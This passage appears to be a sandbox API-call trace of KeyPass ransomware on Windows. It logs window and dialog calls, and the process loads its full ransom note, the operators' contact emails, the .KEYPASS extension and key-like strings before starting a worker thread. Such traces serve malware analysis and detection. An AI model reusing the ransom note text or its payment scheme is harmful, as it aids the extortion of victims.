wParam=0x0, lParam=0x15501be) returned 0x0 [0229.206] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x3, wParam=0x0, lParam=0x1f0008) returned 0x0 [0229.208] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x30, wParam=0x740a0564, lParam=0x0) returned 0x0 [0229.208] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x50046, lParam=0xc3e330) returned 0x0 [0229.726] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x50046, lParam=0x3) returned 0x2 [0229.726] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0229.727] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0229.727] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0229.727] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x5020c, lParam=0xc3e330) returned 0x0 [0230.797] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x5020c, lParam=0x3) returned 0x2 [0230.797] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0230.797] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x70084, lParam=0xc3da30) returned 0x0 [0231.821] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0xe020a, lParam=0xc3d910) returned 0x0 [0231.823] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0xe020a, lParam=0x0) returned 0x0 [0234.733] GetClassLongW (hWnd=0x10020a, nIndex=-32) returned 0xc0b6 [0234.733] GetWindowLongW (hWnd=0x10020a, nIndex=-4) returned 1953793200 [0234.733] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x0 [0234.733] SetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423", hData=0x747484b0) returned 1 [0234.734] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.734] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0234.734] SetWindowLongW (hWnd=0x10020a, nIndex=-4, dwNewLong=18156417) returned 1953793200 [0234.734] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x10020a, lParam=0xc3da80) returned 0x0 [0234.734] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.734] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x81, wParam=0x0, lParam=0xc3dad0) returned 0x1 [0234.734] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.734] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x83, wParam=0x0, lParam=0xc3dabc) returned 0x0 [0234.735] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.735] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x1, wParam=0x0, lParam=0xc3dad0) returned 0x0 [0234.735] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.735] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x7c, wParam=0xffffffec, lParam=0xc3d6ec) returned 0x0 [0234.736] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.736] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x7d, wParam=0xffffffec, lParam=0xc3d6ec) returned 0x0 [0234.737] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.737] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0234.737] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.737] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0234.737] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.738] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x432, wParam=0x0, lParam=0xc3df9c) returned 0x1 [0234.738] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.738] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x30, wParam=0xa0a075c, lParam=0x0) returned 0x1 [0234.738] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.738] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x434, wParam=0x0, lParam=0xc3dd9c) returned 0x0 [0234.739] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0xb003e, lParam=0xc3da68) returned 0x0 [0234.743] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0xb003e, lParam=0x0) returned 0x0 [0234.744] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.744] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x30, wParam=0x740a0564, lParam=0x0) returned 0x1 [0235.130] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x110044, lParam=0xc3e330) returned 0x0 [0235.131] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x110044, lParam=0x3) returned 0x2 [0235.132] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.133] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0xb0030, lParam=0xc3e330) returned 0x0 [0235.134] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0xb0030, lParam=0x3) returned 0x2 [0235.134] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.135] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x7002e, lParam=0xc3e330) returned 0x0 [0235.189] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0xa0038, lParam=0xc3e330) returned 0x0 [0235.444] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0xa0038, lParam=0x3) returned 0x2 [0235.444] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.445] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x20224, lParam=0xc3e330) returned 0x0 [0235.446] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x20224, lParam=0x3) returned 0x2 [0235.446] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.447] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x20226, lParam=0xc3e330) returned 0x0 [0235.449] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x20226, lParam=0x3) returned 0x2 [0235.449] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.449] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x20220, lParam=0xc3e330) returned 0x0 [0235.451] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x20220, lParam=0x3) returned 0x2 [0235.451] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.452] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x20222, lParam=0xc3e330) returned 0x0 [0235.454] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x55, wParam=0x20222, lParam=0x3) returned 0x2 [0235.454] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.455] GetWindowRect (in: hWnd=0x7004a, lpRect=0xc3e54c | out: lpRect=0xc3e54c) returned 1 [0235.455] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0235.455] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0xf0) returned 0x0 [0235.455] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x110, wParam=0x50046, lParam=0x0) returned 0x1 [0235.455] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0xf0) returned 0x0 [0235.455] GetTopWindow (hWnd=0x7004a) returned 0x50046 [0235.455] SendMessageW (hWnd=0x50046, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.455] GetWindow (hWnd=0x50046, uCmd=0x2) returned 0x5020c [0235.455] SendMessageW (hWnd=0x5020c, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.455] GetWindow (hWnd=0x5020c, uCmd=0x2) returned 0x110044 [0235.455] SendMessageW (hWnd=0x110044, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.455] GetWindow (hWnd=0x110044, uCmd=0x2) returned 0xb0030 [0235.455] SendMessageW (hWnd=0xb0030, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0xb0030, uCmd=0x2) returned 0x7002e [0235.456] SendMessageW (hWnd=0x7002e, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0x7002e, uCmd=0x2) returned 0xa0038 [0235.456] SendMessageW (hWnd=0xa0038, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0xa0038, uCmd=0x2) returned 0x20224 [0235.456] SendMessageW (hWnd=0x20224, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x20226 [0235.456] SendMessageW (hWnd=0x20226, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0x20226, uCmd=0x2) returned 0x20220 [0235.456] SendMessageW (hWnd=0x20220, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0x20220, uCmd=0x2) returned 0x20222 [0235.456] SendMessageW (hWnd=0x20222, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.456] GetWindow (hWnd=0x20222, uCmd=0x2) returned 0x0 [0235.456] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1000) returned 0x5020c [0235.456] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1000) returned 0x5020c [0235.456] GetParent (hWnd=0x5020c) returned 0x7004a [0235.456] SetWindowLongW (hWnd=0x5020c, nIndex=-4, dwNewLong=18140506) returned 1953790656 [0235.456] GetParent (hWnd=0x5020c) returned 0x7004a [0235.456] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1001) returned 0x110044 [0235.456] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1001) returned 0x110044 [0235.456] GetParent (hWnd=0x110044) returned 0x7004a [0235.456] SetWindowLongW (hWnd=0x110044, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.457] GetParent (hWnd=0x110044) returned 0x7004a [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1002) returned 0xb0030 [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1002) returned 0xb0030 [0235.457] GetParent (hWnd=0xb0030) returned 0x7004a [0235.457] SetWindowLongW (hWnd=0xb0030, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.457] GetParent (hWnd=0xb0030) returned 0x7004a [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1003) returned 0x7002e [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1003) returned 0x7002e [0235.457] GetParent (hWnd=0x7002e) returned 0x7004a [0235.457] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.457] GetParent (hWnd=0x7002e) returned 0x7004a [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1004) returned 0xa0038 [0235.457] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1004) returned 0xa0038 [0235.457] GetParent (hWnd=0xa0038) returned 0x7004a [0235.457] SetWindowLongW (hWnd=0xa0038, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.458] GetParent (hWnd=0xa0038) returned 0x7004a [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1) returned 0x50046 [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1) returned 0x50046 [0235.458] GetParent (hWnd=0x50046) returned 0x7004a [0235.458] SetWindowLongW (hWnd=0x50046, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.458] GetParent (hWnd=0x50046) returned 0x7004a [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1006) returned 0x20226 [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1006) returned 0x20226 [0235.458] GetParent (hWnd=0x20226) returned 0x7004a [0235.458] SetWindowLongW (hWnd=0x20226, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.458] GetParent (hWnd=0x20226) returned 0x7004a [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1007) returned 0x20220 [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1007) returned 0x20220 [0235.458] GetParent (hWnd=0x20220) returned 0x7004a [0235.458] SetWindowLongW (hWnd=0x20220, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.458] GetParent (hWnd=0x20220) returned 0x7004a [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1008) returned 0x20222 [0235.458] GetDlgItem (hDlg=0x7004a, nIDDlgItem=1008) returned 0x20222 [0235.459] GetParent (hWnd=0x20222) returned 0x7004a [0235.459] SetWindowLongW (hWnd=0x20222, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.460] GetParent (hWnd=0x20222) returned 0x7004a [0235.460] GetDlgItem (hDlg=0x7004a, nIDDlgItem=57670) returned 0x0 [0235.460] SendMessageW (hWnd=0x5020c, Msg=0x1037, wParam=0x0, lParam=0x0) returned 0x0 [0235.460] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1037, wParam=0x0, lParam=0x0) returned 0x0 [0235.460] SendMessageW (hWnd=0x5020c, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0235.460] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0235.463] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0235.463] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x41c, wParam=0x0, lParam=0x0) returned 0x0 [0235.463] GetClientRect (in: hWnd=0x5020c, lpRect=0xc3e08c | out: lpRect=0xc3e08c) returned 1 [0235.463] SendMessageW (hWnd=0x5020c, Msg=0x1061, wParam=0x0, lParam=0xc3e00c) returned 0x0 [0235.463] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1061, wParam=0x0, lParam=0xc3e00c) returned 0x0 [0235.464] SendMessageW (hWnd=0x110044, Msg=0x1501, wParam=0x0, lParam=0x1352db4) returned 0x1 [0235.464] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0x1501, wParam=0x0, lParam=0x1352db4) returned 0x1 [0235.464] SendMessageW (hWnd=0xb0030, Msg=0x1501, wParam=0x0, lParam=0x1352dbc) returned 0x1 [0235.464] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0x1501, wParam=0x0, lParam=0x1352dbc) returned 0x1 [0235.464] SendMessageW (hWnd=0xa0038, Msg=0x1501, wParam=0x0, lParam=0x1352dd0) returned 0x1 [0235.464] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0x1501, wParam=0x0, lParam=0x1352dd0) returned 0x1 [0235.464] IsWindow (hWnd=0x50046) returned 1 [0235.464] SetWindowTextW (hWnd=0x50046, lpString="Start") returned 1 [0235.464] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0xc, wParam=0x0, lParam=0x1352d94) returned 0x1 [0235.465] IsWindow (hWnd=0x20226) returned 1 [0235.465] SetWindowTextW (hWnd=0x20226, lpString="rdpclip.exe") returned 1 [0235.465] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20226, Msg=0xc, wParam=0x0, lParam=0x1353174) returned 0x1 [0235.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1353190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0235.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1353780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0235.465] IsWindow (hWnd=0x110044) returned 1 [0235.465] SetWindowTextW (hWnd=0x110044, lpString="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA") returned 1 [0235.465] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0xc, wParam=0x0, lParam=0xd856c0) returned 0x1 [0235.465] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x40003e9, lParam=0x110044) returned 0x0 [0235.466] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x30003e9, lParam=0x110044) returned 0x0 [0235.466] IsWindow (hWnd=0xb0030) returned 1 [0235.466] SetWindowTextW (hWnd=0xb0030, lpString="!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.466] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0xc, wParam=0x0, lParam=0xd978e0) returned 0x1 [0235.466] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x40003ea, lParam=0xb0030) returned 0x0 [0235.466] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x30003ea, lParam=0xb0030) returned 0x0 [0235.466] IsWindow (hWnd=0x7002e) returned 1 [0235.466] SetWindowTextW (hWnd=0x7002e, lpString="Attention! \r\nAll your files, documents, photos, databases and other important files are encrypted and have the extension: .KEYPASS\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail keypass@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $300. \r\nThis price avaliable if you contact us first 72 hours.\r\n\r\n\r\n\r\nE-mail address to contact us:\r\nkeypass@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nkeypass@india.com\r\n\r\nYour personal id:") returned 1 [0235.466] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0xc, wParam=0x0, lParam=0xd980b8) returned 0x1 [0235.476] IsWindow (hWnd=0x20222) returned 1 [0235.476] SetWindowTextW (hWnd=0x20222, lpString="6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0") returned 1 [0235.476] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0xc, wParam=0x0, lParam=0xd85730) returned 0x1 [0235.477] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x40003f0, lParam=0x20222) returned 0x0 [0235.477] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x30003f0, lParam=0x20222) returned 0x0 [0235.477] IsWindow (hWnd=0xa0038) returned 1 [0235.477] SetWindowTextW (hWnd=0xa0038, lpString=".KEYPASS") returned 1 [0235.477] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0xc, wParam=0x0, lParam=0xd7f058) returned 0x1 [0235.477] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x40003ec, lParam=0xa0038) returned 0x0 [0235.477] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x30003ec, lParam=0xa0038) returned 0x0 [0235.478] IsWindow (hWnd=0x7004a) returned 1 [0235.478] SetWindowTextW (hWnd=0x7004a, lpString="Ddv16hjkiMxm7P") returned 1 [0235.478] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0xc, wParam=0x0, lParam=0x1354988) returned 0x1 [0235.478] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0235.478] ShowWindow (hWnd=0x7004a, nCmdShow=0) returned 0 [0235.478] UpdateWindow (hWnd=0x7004a) returned 1 [0235.478] SetTimer (hWnd=0x7004a, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1 [0235.479] SendMessageW (hWnd=0x20220, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20220, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0235.479] GetWindowTextLengthW (hWnd=0x110044) returned 40 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0235.479] GetWindowTextW (in: hWnd=0x110044, lpString=0xd990c0, nMaxCount=41 | out: lpString="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA") returned 40 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0xd, wParam=0x29, lParam=0xd990c0) returned 0x28 [0235.479] GetWindowTextLengthW (hWnd=0xb0030) returned 33 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x21 [0235.479] GetWindowTextW (in: hWnd=0xb0030, lpString=0xd97ca0, nMaxCount=34 | out: lpString="!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 33 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0xd, wParam=0x22, lParam=0xd97ca0) returned 0x21 [0235.479] GetWindowTextLengthW (hWnd=0x7002e) returned 912 [0235.479] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x390 [0235.479] GetWindowTextW (in: hWnd=0x7002e, lpString=0xd9d7d0, nMaxCount=913 | out: lpString="Attention! \r\nAll your files, documents, photos, databases and other important files are encrypted and have the extension: .KEYPASS\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail keypass@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $300. \r\nThis price avaliable if you contact us first 72 hours.\r\n\r\n\r\n\r\nE-mail address to contact us:\r\nkeypass@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nkeypass@india.com\r\n\r\nYour personal id:") returned 912 [0235.480] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0xd, wParam=0x391, lParam=0xd9d7d0) returned 0x390 [0235.480] GetWindowTextLengthW (hWnd=0x20222) returned 40 [0235.480] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0235.481] GetWindowTextW (in: hWnd=0x20222, lpString=0xd99130, nMaxCount=41 | out: lpString="6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0") returned 40 [0235.481] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0xd, wParam=0x29, lParam=0xd99130) returned 0x28 [0235.481] GetWindowTextLengthW (hWnd=0xa0038) returned 8 [0235.481] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0235.481] GetWindowTextW (in: hWnd=0xa0038, lpString=0xd7f2c8, nMaxCount=9 | out: lpString=".KEYPASS") returned 8 [0235.481] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0xd, wParam=0x9, lParam=0xd7f2c8) returned 0x8 [0235.481] IsWindow (hWnd=0x110044) returned 1 [0235.481] SetWindowTextW (hWnd=0x110044, lpString="*************************************KVA") returned 1 [0235.481] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0xc, wParam=0x0, lParam=0xd990c0) returned 0x1 [0235.482] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x40003e9, lParam=0x110044) returned 0x0 [0235.482] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x111, wParam=0x30003e9, lParam=0x110044) returned 0x0 [0235.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1143e70, lpParameter=0x139a35c, dwCreationFlags=0x0, lpThreadId=0x139a370 | out: lpThreadId=0x139a370*=0x92c) returned 0x268 [0235.482] IsWindow (hWnd=0x50046) returned 1 [0235.482] SetWindowTextW (hWnd=0x50046, lpString="Stop") returned 1 [0235.482] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0xc, wParam=0x0, lParam=0x1352da0) returned 0x1 [0235.483] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0235.483] GetWindowRect (in: hWnd=0x7004a, lpRect=0xc3e4ec | out: lpRect=0xc3e4ec) returned 1 [0235.483] GetWindow (hWnd=0x7004a, uCmd=0x4) returned 0x0 [0235.483] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0x5) returned 0x139c338 [0235.483] LoadResource (hModule=0x1110000, hResInfo=0x139c338) returned 0x13c6e38 [0235.483] LockResource (hResData=0x13c6e38) returned 0x13c6e38 [0235.483] FreeResource (hResData=0x13c6e38) returned 0 [0235.483] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0235.483] GetWindow (hWnd=0x7004a, uCmd=0x4) returned 0x0 [0235.483] GetWindowRect (in: hWnd=0x7004a, lpRect=0xc3e4b4 | out: lpRect=0xc3e4b4) returned 1 [0235.483] MonitorFromWindow (hwnd=0x7004a, dwFlags=0x1) returned 0x10001 [0235.484] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xc3e47c | out: lpmi=0xc3e47c) returned 1 [0235.484] CopyRect (in: lprcDst=0xc3e4a4, lprcSrc=0xc3e490 | out: lprcDst=0xc3e4a4) returned 1 [0235.484] CopyRect (in: lprcDst=0xc3e4c4, lprcSrc=0xc3e490 | out: lprcDst=0xc3e4c4) returned 1 [0235.484] SetWindowPos (hWnd=0x7004a, hWndInsertAfter=0x0, X=489, Y=240, cx=-1, cy=-1, uFlags=0x15) returned 1 [0235.484] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x46, wParam=0x0, lParam=0xc3e3fc) returned 0x0 [0235.485] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x47, wParam=0x0, lParam=0xc3e3fc) returned 0x0 [0235.485] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x3, wParam=0x0, lParam=0x10f01f1) returned 0x0 [0235.486] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0235.486] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0235.486] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0235.487] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.487] CallNextHookEx (hhk=0x3015d, nCode=9, wParam=0x50046, lParam=0x0) returned 0x0 [0235.487] CallNextHookEx (hhk=0x3015d, nCode=5, wParam=0x7004a, lParam=0xc3e6bc) returned 